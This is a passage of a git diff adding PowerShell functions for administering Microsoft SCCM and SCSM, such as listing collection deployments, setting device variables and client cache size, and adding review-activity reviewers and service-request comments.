CollectionID='$($_.Collectionid)'" + + Foreach ($Collection in $collections) { + IF ($DeploymentIntent -eq 'NA') { + Write-Verbose -Message "[$FunctionName] DeploymentIntent is not specified" + $Deployments = (Get-WmiObject @splatting -Query "Select * From SMS_DeploymentInfo WHERE CollectionID='$($Collection.CollectionID)'") + } + ELSE { + Write-Verbose -Message "[$FunctionName] DeploymentIntent '$DeploymentIntent'" + $Deployments = (Get-WmiObject @splatting -Query "Select * From SMS_DeploymentInfo WHERE CollectionID='$($Collection.CollectionID)' AND DeploymentIntent='$DeploymentIntent'") + } + + Foreach ($Deploy in $Deployments) { + Write-Verbose -Message "[$FunctionName] Retrieving DeploymentType..." + $TypeName = Get-SCCMDeploymentTypeName -TypeID $Deploy.DeploymentTypeid + if (-not $TypeName) { $TypeName = Get-SCCMDeploymentTypeName -TypeID $Deploy.DeploymentType } + + # Prepare output + Write-Verbose -Message "[$FunctionName] Preparing output..." + $Properties = @{ + DeviceName = $DeviceName + ComputerName = $ComputerName + CollectionName = $Deploy.CollectionName + CollectionID = $Deploy.CollectionID + DeploymentID = $Deploy.DeploymentID + DeploymentName = $Deploy.DeploymentName + DeploymentIntent = $deploy.DeploymentIntent + DeploymentIntentName = (Get-SCCMDeploymentIntentName -DeploymentIntent $deploy.DeploymentIntent) + DeploymentTypeName = $TypeName + TargetName = $Deploy.TargetName + TargetSubName = $Deploy.TargetSubname + + } + + #Output the current object + Write-Verbose -Message "[$FunctionName] Output information" + New-Object -TypeName PSObject -prop $Properties + + # Reset TypeName + $TypeName = "" + } + } + } + } + CATCH { + $PSCmdlet.ThrowTerminatingError() + } + } +} diff --git a/SCCM-Get-SCCMUserCollectionDeployment/Get-SCCMUserCollectionDeployment.ps1 b/SCCM-Get-SCCMUserCollectionDeployment/Get-SCCMUserCollectionDeployment.ps1 new file mode 100644 index 00000000..8fb942cd --- /dev/null +++ b/SCCM-Get-SCCMUserCollectionDeployment/Get-SCCMUserCollectionDeployment.ps1 @@ -0,0 +1,150 @@ +function Get-SCCMUserCollectionDeployment { + <# + .SYNOPSIS + Function to retrieve a User's collection deployment + + .DESCRIPTION + Function to retrieve a User's collection deployment + The function will first retrieve all the collection where the user is member of and + find deployments advertised on those. + + The final output will include user, collection and deployment information. + + .PARAMETER Username + Specifies the SamAccountName of the user. + The user must be present in the SCCM CMDB + + .PARAMETER SiteCode + Specifies the SCCM SiteCode + + .PARAMETER ComputerName + Specifies the SCCM Server to query + + .PARAMETER Credential + Specifies the credential to use to query the SCCM Server. + Default will take the current user credentials + + .PARAMETER Purpose + Specifies a specific deployment intent. + Possible value: Available or Required. + Default is Null (get all) + + .EXAMPLE + Get-SCCMUserCollectionDeployment -UserName TestUser -Credential $cred -Purpose Required + + .NOTES + Francois-Xavier cat + lazywinadmin.com + @lazywinadmin + + SMS_R_User: https://msdn.microsoft.com/en-us/library/hh949577.aspx + SMS_Collection: https://msdn.microsoft.com/en-us/library/hh948939.aspx + SMS_DeploymentInfo: https://msdn.microsoft.com/en-us/library/hh948268.aspx + .LINK + https://github.com/lazywinadmin/PowerShell +#> + + [CmdletBinding()] + PARAM + ( + [Parameter(Mandatory)] + [Alias('SamAccountName')] + $UserName, + + [Parameter(Mandatory)] + $SiteCode, + + [Parameter(Mandatory)] + $ComputerName, + + [Alias('RunAs')] + [pscredential] + [System.Management.Automation.Credential()] + $Credential = [System.Management.Automation.PSCredential]::Empty, + + [ValidateSet('Required', 'Available')] + $Purpose + ) + + BEGIN { + # Verify if the username contains the domain name + # If it does... remove the domain name + # Example: "FX\TestUser" will become "TestUser" + if ($UserName -like '*\*') { $UserName = ($UserName -split '\\')[1] } + + # Define default properties + $Splatting = @{ + ComputerName = $ComputerName + NameSpace = "root\SMS\Site_$SiteCode" + } + + IF ($PSBoundParameters['Credential']) { + $Splatting.Credential = $Credential + } + + Switch ($Purpose) { + "Required" { $DeploymentIntent = 0 } + "Available" { $DeploymentIntent = 2 } + default { $DeploymentIntent = "NA" } + } + + Function Get-DeploymentIntentName { + PARAM( + [Parameter(Mandatory)] + $DeploymentIntent + ) + PROCESS { + if ($DeploymentIntent -eq 0) { Write-Output "Required" } + if ($DeploymentIntent -eq 2) { Write-Output "Available" } + if ($DeploymentIntent -ne 0 -and $DeploymentIntent -ne 2) { Write-Output "NA" } + } + }#Function Get-DeploymentIntentName + + + } + PROCESS { + # Find the User in SCCM CMDB + $User = Get-WMIObject @Splatting -Query "Select * From SMS_R_User WHERE UserName='$UserName'" + + # Find the collections where the user is member of + Get-WmiObject -Class sms_fullcollectionmembership @splatting -Filter "ResourceID = '$($user.resourceid)'" | + ForEach-Object -Process { + + # Retrieve the collection of the user + $Collections = Get-WmiObject @splatting -Query "Select * From SMS_Collection WHERE CollectionID='$($_.Collectionid)'" + + + # Retrieve the deployments (advertisement) of each collections + Foreach ($Collection in $collections) { + IF ($DeploymentIntent -eq 'NA') { + # Find the Deployment on one collection + $Deployments = (Get-WmiObject @splatting -Query "Select * From SMS_DeploymentInfo WHERE CollectionID='$($Collection.CollectionID)'") + } + ELSE { + $Deployments = (Get-WmiObject @splatting -Query "Select * From SMS_DeploymentInfo WHERE CollectionID='$($Collection.CollectionID)' AND DeploymentIntent='$DeploymentIntent'") + } + + Foreach ($Deploy in $Deployments) { + + # Prepare Output + $Properties = @{ + UserName = $UserName + ComputerName = $ComputerName + CollectionName = $Deploy.CollectionName + CollectionID = $Deploy.CollectionID + DeploymentID = $Deploy.DeploymentID + DeploymentName = $Deploy.DeploymentName + DeploymentIntent = $deploy.DeploymentIntent + DeploymentIntentName = (Get-DeploymentIntentName -DeploymentIntent $deploy.DeploymentIntent) + TargetName = $Deploy.TargetName + TargetSubName = $Deploy.TargetSubname + + } + + # Output the current Object + New-Object -TypeName PSObject -prop $Properties + } + } + } + } +} diff --git a/SCCM-New-SCCMDeviceVariable/New-SCCMDeviceVariable.ps1 b/SCCM-New-SCCMDeviceVariable/New-SCCMDeviceVariable.ps1 new file mode 100644 index 00000000..45140c05 --- /dev/null +++ b/SCCM-New-SCCMDeviceVariable/New-SCCMDeviceVariable.ps1 @@ -0,0 +1,174 @@ +function New-SCCMDeviceVariable { + <# + .SYNOPSIS + function to create a new SCCM Device Variable + + .DESCRIPTION + function to create a new SCCM Device Variable + + This function is relying on WMI to create a new SCCM Device Variable. + You don't need the SCCM Module or SCCM Console installed to run it. + Also this cmdlet support alternative credential. + + .PARAMETER ComputerName + Specifies the SCCM Server + + .PARAMETER SiteCode + Specifies the SCCM Site Code + + .PARAMETER Credential + Specifies the alternative credential + If not specified it will use the current user. + + .PARAMETER ResourceID + Specifies the Device ResourceID + + .PARAMETER Name + Specifies the Variable Name + Alias: VariableName + + .PARAMETER Value + Specifies the Variable Value + Alias: VariableValue + + .PARAMETER IsMasked + Specifies if the Variable value is masked. + Default is $False + + .EXAMPLE + New-SCCMDeviceVariable -ComputerName SCCM01 -SiteCode F01 -ResourceID 000000222 -Name Test01 -Value 'Some Information' + + .EXAMPLE + New-SCCMDeviceVariable -ComputerName SCCM01 -SiteCode F01 -ResourceID 000000222 -Name Test02 -Value 'Secret information' -IsMasked $true + + .EXAMPLE + New-SCCMDeviceVariable -ComputerName SCCM01 -SiteCode F01 -ResourceID 000000222 -Name Test03 -Value 'Some more info' -Credential (get-Credential) + + .EXAMPLE + $MyParams = @{ + ComputerName = 'SCCM01' + SiteCode = 'F01' + ResourceID = '000000222' + Name = 'Test03' + Value = 'Some more info' + Credential = (get-Credential) + } + + New-SCCMDeviceVariable @MyParams + + .NOTES + Francois-Xavier Cat + lazywinadmin.com + @lazywinadmin + github.com/lazywinadmin + .LINK + https://github.com/lazywinadmin/PowerShell + #> + [cmdletbinding()] + PARAM ( + [parameter(Mandatory = $true)] + [Alias('SiteServer')] + [System.String]$ComputerName, + + [parameter(Mandatory = $true)] + [System.String]$SiteCode, + + [Alias("RunAs")] + [PSCredential] + [System.Management.Automation.Credential()] + $Credential = [System.Management.Automation.PSCredential]::Empty, + + [parameter(Mandatory = $true)] + [int]$ResourceID, + + [parameter(Mandatory = $true)] + [Alias("VariableName")] + [System.String]$Name, + + [parameter(Mandatory = $true)] + [Alias("VariableValue")] + [System.String]$Value, + + [System.Boolean]$IsMasked = $false + ) + PROCESS { + TRY { + Write-Verbose -Message "$ResourceID - Create splatting" + $SCCM_Splatting = @{ + ComputerName = $ComputerName + NameSpace = "root\sms\site_$SiteCode" + } + + IF ($PSBoundParameters['Credential']) { + $SCCM_Splatting.Credential = $Credential + } + + Write-Verbose -Message "$ResourceID - Verify if machine settings exist" + # Check if the device already has a MachineSetting + $MachineSettingsClass = Get-WmiObject @SCCM_Splatting -Query "SELECT ResourceID FROM SMS_MachineSettings WHERE ResourceID = '$ResourceID'" + + # If a Machine Settings is found + if ($MachineSettingsClass) { + Write-Verbose -Message "$ResourceID - Machine Settings Exists" + + # Create a new MachineVariable class instance + Write-Verbose -Message "$ResourceID - Create Variable" + $MachineVariablesClass = Get-WmiObject -list @SCCM_Splatting -Class "SMS_MachineVariable" + $NewMachineVariableInstance = $MachineVariablesClass.CreateInstance() + + # Add the Variable + $NewMachineVariableInstance.psbase.Properties['Name'].Value = $Name + $NewMachineVariableInstance.psbase.Properties['Value'].Value = $Value + $NewMachineVariableInstance.psbase.Properties['IsMasked'].Value = $IsMasked + + # Retrieve the Machine Settings + $MachineSettingsClass.get() + + + # Insert the variable we just created into the machine settings + Write-Verbose -Message "$ResourceID - Insert machine Variable into machine settings" + $MachineSettingsClass.MachineVariables += $NewMachineVariableInstance + + # Save our change back to SCCM + Write-Verbose -Message "$ResourceID - Save Change" + $MachineSettingsClass.Put() + } + else { + Write-Verbose -Message "$ResourceID - Machine Settings does NOT Exists" + + # Create a new machine setting + Write-Verbose -Message "$ResourceID - Machine Settings - Creation" + $MachineSettingsClass = Get-WmiObject @SCCM_Splatting -List -Class 'SMS_MachineSettings' + $NewMachineSettingsClassInstance = $MachineSettingsClass.CreateInstance() + + # Specify the Resource id and SourceSite(SiteCode) + $NewMachineSettingsClassInstance.psbase.properties["ResourceID"].value = $ResourceID + $NewMachineSettingsClassInstance.psbase.properties["SourceSite"].value = $SiteCode + + # Create a new MachineVariable class instance + Write-Verbose -Message "$ResourceID - Machine Variable - Creation" + $MachineVariablesClass = Get-WmiObject -list @SCCM_Splatting -Class "SMS_MachineVariable" + $NewMachineVariablesInstance = $MachineVariablesClass.CreateInstance() + + # Add the Variable + $NewMachineVariablesInstance.psbase.Properties['Name'].Value = $Name + $NewMachineVariablesInstance.psbase.Properties['Value'].Value = $Value + $NewMachineVariablesInstance.psbase.Properties['IsMasked'].Value = $IsMasked + + # Insert the variable we just created into the machine settings + Write-Verbose -Message "$ResourceID - Insert machine Variable into machine settings" + $NewMachineSettingsClassInstance.MachineVariables += $NewMachineVariablesInstance + + # Save our change back to SCCM + Write-Verbose -Message "$ResourceID - Save Change" + $NewMachineSettingsClassInstance.Put() + } + } + CATCH { + Write-Warning -Message "$ResourceID - Issue while processing the Device" + $Error[0] + } + FINALLY + { } + } #Process +} diff --git a/SCCM-New-SCCMTSAppVariable/New-SCCMTSAppVariable.ps1 b/SCCM-New-SCCMTSAppVariable/New-SCCMTSAppVariable.ps1 new file mode 100644 index 00000000..ba4782db --- /dev/null +++ b/SCCM-New-SCCMTSAppVariable/New-SCCMTSAppVariable.ps1 @@ -0,0 +1,58 @@ +Function New-SCCMTSAppVariable { + <# + .SYNOPSIS + Function to create a SCCM Task Sequence Application Variable during the OSD + + .DESCRIPTION + Function to create a SCCM Task Sequence Application Variable during the OSD + + .PARAMETER BaseVariableName + Specifies the "Base Variable Name" present in the task "Install Application" of the Task Sequence. + (In the 'Install application according to dynamic variable list' section) + + .PARAMETER ApplicationList + Specifies the list of application to install. + Those must match the SCCM Application name to install + + .EXAMPLE + New-SCCMTSVariable -BaseVariableName "FX" -ApplicationList "Photoshop","AutoCad" + + .EXAMPLE + New-SCCMTSVariable -BaseVariableName "FX" -ApplicationList $Variable + + .NOTES + Francois-Xavier Cat + lazywinadmin.com + @lazywinadmin + .LINK + https://github.com/lazywinadmin/PowerShell + #> + + PARAM ( + [String]$BaseVariableName, + [String[]]$ApplicationList + ) + + BEGIN { + # Create an TaskSequence Environment Object + $TaskSequenceEnvironment = New-Object -COMObject Microsoft.SMS.TSEnvironment + } + PROCESS { + + # Create a Counter + $Counter = 1 + + # Foreach Application we create an incremented variable + $ApplicationList | ForEach-Object -Process { + + # Define the Variable Name + $Variable = "$BaseVariableName{0:00}" -f $Counter + + # Create the Task Sequence Variable + $TaskSequenceEnvironment.value("$Variable") = "$_" + + # Increment the counter + [void]$Counter++ + } + } +} \ No newline at end of file diff --git a/SCCM-Remove-SCCMUserDeviceAffinity/Remove-SCCMUserDeviceAffinity.ps1 b/SCCM-Remove-SCCMUserDeviceAffinity/Remove-SCCMUserDeviceAffinity.ps1 new file mode 100644 index 00000000..b91a65b3 --- /dev/null +++ b/SCCM-Remove-SCCMUserDeviceAffinity/Remove-SCCMUserDeviceAffinity.ps1 @@ -0,0 +1,100 @@ +function Remove-SCCMUserDeviceAffinity { + <# + .SYNOPSIS + Function to remove the primary user(s) or group(s) from a device in SCCM + + .DESCRIPTION + Function to remove the primary user(s) or group(s) from a device in SCCM + + .PARAMETER SiteCode + Specifies the SCCM Site Code + + .PARAMETER SiteServer + Specifies the SCCM Management Server + + .PARAMETER DeviceName + Specifies the Resource Name on which the Primary Users need to be removed + + .PARAMETER DeviceID + Specifies the Resource ID on which the Primary Users need to be removed + + .PARAMETER Credential + Specifies alternative credentials to use + + .EXAMPLE + $Params = @{ + SiteCode = 'FXC' + SiteServer = 'SCCMServer1' + DeviceID = 'FXC00045' + Credential = (Get-Credential 'FX/SccmGuru') + } + Remove-SCCMUserDeviceAffinity @Params + + .NOTES + Francois-Xavier Cat + lazywinadmin.com + @lazywinadmin + .LINK + https://github.com/lazywinadmin/PowerShell +#> + + [CmdletBinding(DefaultParameterSetName = 'ResourceName')] + param + ( + [Parameter(ParameterSetName = 'ResourceName')] + [Parameter(ParameterSetName = 'ResourceID')] + $SiteCode, + + [Parameter(ParameterSetName = 'ResourceName', + Mandatory = $true)] + [Parameter(ParameterSetName = 'ResourceID')] + $SiteServer, + + [Parameter(ParameterSetName = 'ResourceName')] + [Alias('Name', 'ResourceName')] + $DeviceName, + + [Parameter(ParameterSetName = 'ResourceID')] + [Alias('ResourceID')] + $DeviceID, + + [Parameter(ParameterSetName = 'ResourceName')] + [Parameter(ParameterSetName = 'ResourceID')] + [Alias('RunAs')] + [pscredential] + [System.Management.Automation.Credential()] + $Credential = [System.Management.Automation.PSCredential]::Empty + ) + + $CIMsessionSplatting = @{ + ComputerName = $SiteServer + } + + + # Credential Specified + IF ($PSBoundParameters['Credential']) { + $CIMsessionSplatting.Credential = $Credential + } + + # Create a CIM session + $CIMSession = New-CimSession @CIMsessionSplatting + + # Splatting for CIM cmlets + $CIMSplatting = @{ + CimSession = $CIMSession + NameSpace = "root\sms\site_$SiteCode" + ClassName = "SMS_UserMachineRelationship" + } + + # Device Name Specified + IF ($PSBoundParameters['DeviceName']) { + $CIMSplatting.Filter = "ResourceName='$DeviceName' AND isActive=1 AND TYPES NOT NULL" + } + + # Device ID Specified + IF ($PSBoundParameters['DeviceID']) { + $CIMSplatting.Filter = "ResourceID='$DeviceID' AND isActive=1 AND TYPES NOT NULL" + } + + Get-CimInstance @CIMSplatting | Remove-CimInstance +} \ No newline at end of file diff --git a/SCCM-Set-SCCMClientCacheLocation/Set-SCCMClientCacheLocation.ps1 b/SCCM-Set-SCCMClientCacheLocation/Set-SCCMClientCacheLocation.ps1 new file mode 100644 index 00000000..21ce7caa --- /dev/null +++ b/SCCM-Set-SCCMClientCacheLocation/Set-SCCMClientCacheLocation.ps1 @@ -0,0 +1,76 @@ +function Set-SCCMClientCacheLocation { + <# + .SYNOPSIS + Function to set the cache location on a SCCM Client + .DESCRIPTION + Function to set the cache location on a SCCM Client + .PARAMETER ComputerName + Specifies the name of the client on which the Cache location need to be changed + .PARAMETER Location + Specifies the location of the cache. + .PARAMETER ServiceRestart + Specifies that you want the SCCM Client service to restart + .PARAMETER Credential + Specifies the credential to use against the remote machine + Only work with the WMI query for now, not the service restart + .EXAMPLE + Set-SCCMClientCacheLocation -ComputerName Client01 -Location "C:\temp\ccmcache" + + This will set the client cache location "C:\temp\ccmcache" on the computer Client01 + .NOTES + Francois-Xavier Cat + lazywinadmin.com + @lazywinadmin + .LINK + https://github.com/lazywinadmin/PowerShell + #> + PARAM( + [string[]]$ComputerName = ".", + + [parameter(Mandatory)] + [int]$Location, + + [Switch]$ServiceRestart, + + [Alias('RunAs')] + [pscredential] + [System.Management.Automation.Credential()] + $Credential = [System.Management.Automation.PSCredential]::Empty + ) + + FOREACH ($Computer in $ComputerName) { + Write-Verbose -message "[PROCESS] ComputerName: $Computer" + + # Define Parameters + $SplattingWMI = @{ + NameSpace = "ROOT\CCM\SoftMgmtAgent" + Class = "CacheConfig" + } + $SplattingService = @{ + Name = 'ccmexec' + } + + IF ($PSBoundParameters['ComputerName']) { + $SplattingWMI.ComputerName = $Computer + $SplattingService.ComputerName = $Computer + } + IF ($PSBoundParameters['Credential']) { + $SplattingWMI.Credential = $Credential + } + + TRY { + # Set the Cache Size + $Cache = Get-WmiObject @SplattingWMI + $Cache.location = $Location + $Cache.Put() + + # Restart SCCM Client + IF ($PSBoundParameters['ServiceRestart']) { + Get-Service @SplattingService | Restart-Service + } + } + CATCH { + $PSCmdlet.ThrowTerminatingError($_) + } + } +} diff --git a/SCCM-Set-SCCMClientCacheSize/Set-SCCMClientCacheSize.ps1 b/SCCM-Set-SCCMClientCacheSize/Set-SCCMClientCacheSize.ps1 new file mode 100644 index 00000000..26be51e7 --- /dev/null +++ b/SCCM-Set-SCCMClientCacheSize/Set-SCCMClientCacheSize.ps1 @@ -0,0 +1,77 @@ +function Set-SCCMClientCacheSize { + <# + .SYNOPSIS + Function to set the cache size on a SCCM Client + .DESCRIPTION + Function to set the cache size on a SCCM Client + .PARAMETER ComputerName + Specifies the name of the client on which the Cache size need to be changed + .PARAMETER SizeMB + Specifies the size of the cache in MB. + .PARAMETER ServiceRestart + Specifies that you want the SCCM Client service to restart + .PARAMETER Credential + Specifies the credential to use against the remote machine + Only work with the WMI query for now, not the service restart + .EXAMPLE + Set-SCCMClientCacheSize -ComputerName Client01 -SizeMB 5000 + + This will set the client cache to 5000Mb on the computer Client01 + .NOTES + Francois-Xavier Cat + lazywinadmin.com + @lazywinadmin + .LINK + https://github.com/lazywinadmin/PowerShell + #> + PARAM( + [Parameter(Mandatory)] + [string[]]$ComputerName, + + [int]$SizeMB = 10240, + + [Switch]$ServiceRestart, + + [Alias('RunAs')] + [PSCredential] + [System.Management.Automation.Credential()] + $Credential = [System.Management.Automation.PSCredential]::Empty + ) + + FOREACH ($Computer in $ComputerName) { + Write-Verbose -message "[PROCESS] ComputerName: $Computer" + + # Define Parameters + $SplattingWMI = @{ + NameSpace = "ROOT\CCM\SoftMgmtAgent" + Class = "CacheConfig" + } + $SplattingService = @{ + Name = 'ccmexec' + } + + IF ($PSBoundParameters['ComputerName']) { + $SplattingWMI.ComputerName = $Computer + $SplattingService.ComputerName = $Computer + } + IF ($PSBoundParameters['Credential']) { + $SplattingWMI.Credential = $Credential + } + + TRY { + # Set the Cache Size + $Cache = Get-WmiObject @SplattingWMI + $Cache.Size = $SizeMB + $Cache.Put() + + # Restart SCCM Client + IF ($PSBoundParameters['ServiceRestart']) { + Get-Service @SplattingService | Restart-Service + } + } + CATCH { + Write-Warning -message "[PROCESS] Something Wrong happened with $Computer" + $Error[0].execption.message + } + } +} diff --git a/SCSM-Add-SCSMReviewActivityReviewer/Add-SCSMReviewActivityReviewer.ps1 b/SCSM-Add-SCSMReviewActivityReviewer/Add-SCSMReviewActivityReviewer.ps1 new file mode 100644 index 00000000..391e1bf1 --- /dev/null +++ b/SCSM-Add-SCSMReviewActivityReviewer/Add-SCSMReviewActivityReviewer.ps1 @@ -0,0 +1,72 @@ +function Add-SCSMReviewActivityReviewer { + <# + .SYNOPSIS + Function to add a reviewer to a Review Activity item + + .DESCRIPTION + Function to add a reviewer to a Review Activity item + + .PARAMETER UserName + Specifies the UserName to add + + .PARAMETER Veto + Specifies the Veto. Default is False. + + .PARAMETER MustVote + Specifies if the Vote is required. Default is False. + + .PARAMETER WorkItemID + Specifies the WorkItem ID of the Review Activity + + .EXAMPLE + PS C:\> Add-SCSMReviewActivityReviewer -UserName 'francois-xavier' -veto $true -WorkItemID '2aa822b0-b144-3acf-bee3-9a11714c5de0' + + .NOTES + Francois-Xavier Cat + @lazywinadmin + lazywinadmin.com + + 1.0 Based on Cireson's consultant function + .LINK + https://github.com/lazywinadmin/PowerShell +#> + [CmdletBinding()] + PARAM + ( + [System.String]$UserName, + + [Boolean]$veto = $false, + + [Boolean]$mustvote = $false, + + $WorkItemID + ) + + BEGIN { Import-Module -Name SMLets -ErrorAction Stop } + PROCESS { + # Retrieve the Active Directory User Class + $ADUserClassID = '10a7f898-e672-ccf3-8881-360bfb6a8f9a' + $ADUserClassObject = Get-ScsmClass -Id $ADUserClassID + + $ScsmUser = Get-ScsmObject -class $ADUserClassObject -filter "Username -eq $UserName" + + if ($ScsmUser) { + # Direct Reviewer add SCSM user by guid + $RelationShipClass_HasReviewer = Get-SCSMRelationshipClass -name "System.ReviewActivityHasReviewer" + $RelationShipClass_ReviewerIsUser = Get-SCSMRelationshipClass -name "System.ReviewerIsUser" + $Class_ReviewerClass = Get-SCSMClass -name "System.Reviewer$" + + # Hashtable for reviewer arguments + $ReviewerArgs = @{ ReviewerID = "{0}"; Mustvote = $mustvote; Veto = $veto } + + $Reviewer = new-scsmobject -class $class_ReviewerClass -propertyhashtable $ReviewerArgs -nocommit + + $WorkItem = Get-SCSMObject -Class (Get-SCSMClass -Name System.WorkItem.Activity.ReviewActivity$) -filter "ID -eq '$WorkItemID'" + + $reviewerStep1 = New-SCSMRelationshipObject -nocommit -Relationship $RelationShipClass_HasReviewer -Source $WorkItem -Target $Reviewer + $reviewerStep2 = New-SCSMRelationshipObject -nocommit -Relationship $RelationShipClass_ReviewerIsUser -Source $Reviewer -Target $ScsmUser + $reviewerStep1.Commit() + $reviewerStep2.Commit() + } + } +} diff --git a/SCSM-Add-SCSMSRComment/Add-SCSMSRComment.ps1 b/SCSM-Add-SCSMSRComment/Add-SCSMSRComment.ps1 new file mode 100644 index 00000000..7cc17f1d --- /dev/null +++ b/SCSM-Add-SCSMSRComment/Add-SCSMSRComment.ps1 @@ -0,0 +1,118 @@ +Function Add-SCSMSRComment { + <# +.SYNOPSIS + Function to add a comment inside a Service Request + +.DESCRIPTION + Function to add a comment inside a Service Request + You need to have SMlets installed and permission to write inside + the service request. + +.PARAMETER ServiceRequestObject + Specifies the ServiceRequest where the comment will be added + +.PARAMETER Comment + Specifies the comment to add. + +.PARAMETER CommentType + Specifies the comment type. + You need to specify 'User' or 'Analyst'. + +.PARAMETER EnteredBy + Specifies your name. + +.PARAMETER IsPrivate + Specifies if the switch is private + +.EXAMPLE + Add-SCSMSRComment -ServiceRequestObject $SR -Comment "Task Completed" -CommentType Analyst -EnteredBy 'Francois-Xavier Cat' + +.EXAMPLE + Add-SCSMSRComment -ServiceRequestObject $SR -Comment "Task Completed" -CommentType Analyst -EnteredBy 'Francois-Xavier Cat' -IsPrivate + +.NOTES + Francois-Xavier Cat + lazywinadmin.com + @lazywinadmin + + Script inspired from http://www.scsm.se/?p=1423 by Anders Asp +.LINK + https://github.com/lazywinadmin/PowerShell +#> + [CmdletBinding()] + PARAM ( + + [Alias("SRObject")] + [parameter(Mandatory = $true)] + #[System.WorkItem.ServiceRequest] + $ServiceRequestObject, + + [parameter(Mandatory = $True)] + [String]$Comment, + + [ValidateSet("User", "Analyst")] + [parameter(Mandatory = $True)] + #[System.WorkItem.TroubleTicket] + [String]$CommentType, + + [parameter(Mandatory = $True)] + [String]$EnteredBy, + + [Switch]$IsPrivate + ) + BEGIN { + TRY { + if (-not (Get-Module -Name Smlets)) { + Import-Module -Name Smlets -ErrorAction 'Stop' + } + } + CATCH { + $PSCmdlet.ThrowTerminatingError($_) + } + } + PROCESS { + TRY { + # Make sure that the SR Object it passed to the function + If ($null -eq $ServiceRequestObject.Id) { + Switch ($CommentType) { + "Analyst" { + $CommentClass = "System.WorkItem.TroubleTicket.AnalystCommentLog" + #$CommentClassName = "AnalystCommentLog" + } + "User" { + $CommentClass = "System.WorkItem.TroubleTicket.UserCommentLog" + #$CommentClassName = "EndUserCommentLog" + } + } + # Generate a new GUID for the comment + $NewGUID = ([guid]::NewGuid()).ToString() + + # Create the object projection with properties + $Projection = @{ + __CLASS = "System.WorkItem.ServiceRequest"; + __SEED = $ServiceRequestObject; + EndUserCommentLog = @{ + __CLASS = $CommentClass; + __OBJECT = @{ + Id = $NewGUID; + DisplayName = $NewGUID; + Comment = $Comment; + EnteredBy = $EnteredBy; + EnteredDate = (Get-Date).ToUniversalTime(); + IsPrivate = $IsPrivate.ToBool(); + } + } + } + + # Create the actual comment + New-SCSMObjectProjection -Type "System.WorkItem.ServiceRequestProjection" -Projection $Projection + } + else { + Throw "Invalid Service Request Object!" + } + } + CATCH { + $PSCmdlet.ThrowTerminatingError($_) + } #CATCH + } #PROCESS +} \ No newline at end of file diff --git a/SCSM-Add-SCSMServiceRequestComment/Add-SCSMServiceRequestComment.ps1 b/SCSM-Add-SCSMServiceRequestComment/Add-SCSMServiceRequestComment.ps1 new file mode 100644 index 00000000..b105682a --- /dev/null +++ b/SCSM-Add-SCSMServiceRequestComment/Add-SCSMServiceRequestComment.ps1 @@ -0,0 +1,79 @@ +Function Add-SCSMServiceRequestComment { + <# + .SYNOPSIS + Function to add a comment to a Service Request + .DESCRIPTION + Function to add a comment to a Service Request + .PARAMETER SRObject + Specify the Service Request Object + .PARAMETER Comment + Specify the comment text to add + .PARAMETER EnteredBy + Specify the Author of the comment + .PARAMETER AnalystComment + Use if the comment is made by an Analyst + .PARAMETER IsPrivate + Use if the comment is private + .EXAMPLE + Add-SCSMServiceRequestComment -SRObject $SR -Comment "This is a Comment" -EnteredBy 'FX' + .LINK + https://github.com/lazywinadmin/PowerShell + #> + [CmdletBinding()] + param ( + [parameter(Mandatory = $True, Position = 0)] + $SRObject, + + [parameter(Mandatory = $True, Position = 1)] + $Comment, + + [parameter(Mandatory = $True, Position = 2)] + $EnteredBy, + + [parameter(Mandatory = $False, Position = 3)] + [switch]$AnalystComment, + + [parameter(Mandatory = $False, Position = 4)] + [switch]$IsPrivate + ) + + # Make sure that the SR Object it passed to the function + If ($null -ne $SRObject.Id) { + + + If ($AnalystComment) { + $CommentClass = "System.WorkItem.TroubleTicket.AnalystCommentLog" + $CommentClassName = "AnalystCommentLog" + } + else { + $CommentClass = "System.WorkItem.TroubleTicket.UserCommentLog" + $CommentClassName = "EndUserCommentLog" + } + + # Generate a new GUID for the comment + $NewGUID = ([guid]::NewGuid()).ToString() + + # Create the object projection with properties + $Projection = @{ + __CLASS = "System.WorkItem.ServiceRequest"; + __SEED = $SRObject; + EndUserCommentLog = @{ + __CLASS = $CommentClass; + __OBJECT = @{ + Id = $NewGUID; + DisplayName = $NewGUID; + Comment = $Comment; + EnteredBy = $EnteredBy; + EnteredDate = (Get-Date).ToUniversalTime(); + IsPrivate = $IsPrivate.ToBool(); + } + } + } + + # Create the actual comment + New-SCSMObjectProjection -Type "System.WorkItem.ServiceRequestProjection" -Projection $Projection + } + else { + Throw "Invalid Service Request Object!" + } +} \ No newline at end of file diff --git a/SCSM-Add-SCSMWorkItemRAReviewer/Add-SCSMWorkItemRAReviewer.ps1 b/SCSM-Add-SCSMWorkItemRAReviewer/Add-SCSMWorkItemRAReviewer.ps1 deleted file mode 100644 index 3109cba8..00000000 --- a/SCSM-Add-SCSMWorkItemRAReviewer/Add-SCSMWorkItemRAReviewer.ps1 +++ /dev/null @@ -1,71 +0,0 @@ -function Add-SCSMWorkItemRAReviewer -{ -<# - .SYNOPSIS - Function to add a reviewer to a Review Activity item - - .DESCRIPTION - Function to add a reviewer to a Review Activity item - - .PARAMETER UserName - Specifies the UserName to add - - .PARAMETER Veto - Specifies the Veto. Default is False. - - .PARAMETER MustVote - Specifies if the Vote is required. Default is False. - - .PARAMETER WorkItem - Specifies the WorkItem object - - .EXAMPLE - PS C:\> Add-SCSMWorkItemRAReviewer -UserName 'francois-xavier' -veto $true - - .NOTES - Francois-Xavier Cat - @lazywinadm - www.lazywinadmin.com - - 1.0 Based on Cireson's consultant function -#> - [CmdletBinding()] - PARAM - ( - [System.String]$UserName, - - [Boolean]$veto = $false, - - [Boolean]$mustvote = $false, - - $WorkItem - ) - - BEGIN { Import-Module -Name SMLets -ErrorAction Stop } - PROCESS - { - # Retrieve the Active Directory User Class - $ADUserClassID = '10a7f898-e672-ccf3-8881-360bfb6a8f9a' - $ADUserClassObject = Get-ScsmClass -id $id_adUserClass - - $ScsmUser = Get-ScsmObject -class $ADUserClassObject -filter "Username -eq $UserName" - - if ($ScsmUser) - { - # Direct Reviewer add SCSM user by guid - $RelationShipClass_HasReviewer = Get-SCSMRelationshipClass -name "System.ReviewActivityHasReviewer" - $RelationShipClass_ReviewerIsUser = Get-SCSMRelationshipClass -name "System.ReviewerIsUser" - $Class_ReviewerClass = Get-SCSMClass -name "System.Reviewer$" - - # Hashtable for reviewer arguments - $ReviewerArgs = @{ ReviewerID = "{0}"; Mustvote = $mustvote; Veto = $veto } - - $Reviewer = new-scsmobject -class $class_ReviewerClass -propertyhashtable $ReviewerArgs -nocommit - - $reviewerStep1 = New-SCSMRelationshipObject -nocommit -Relationship $RelationShipClass_HasReviewer -Source 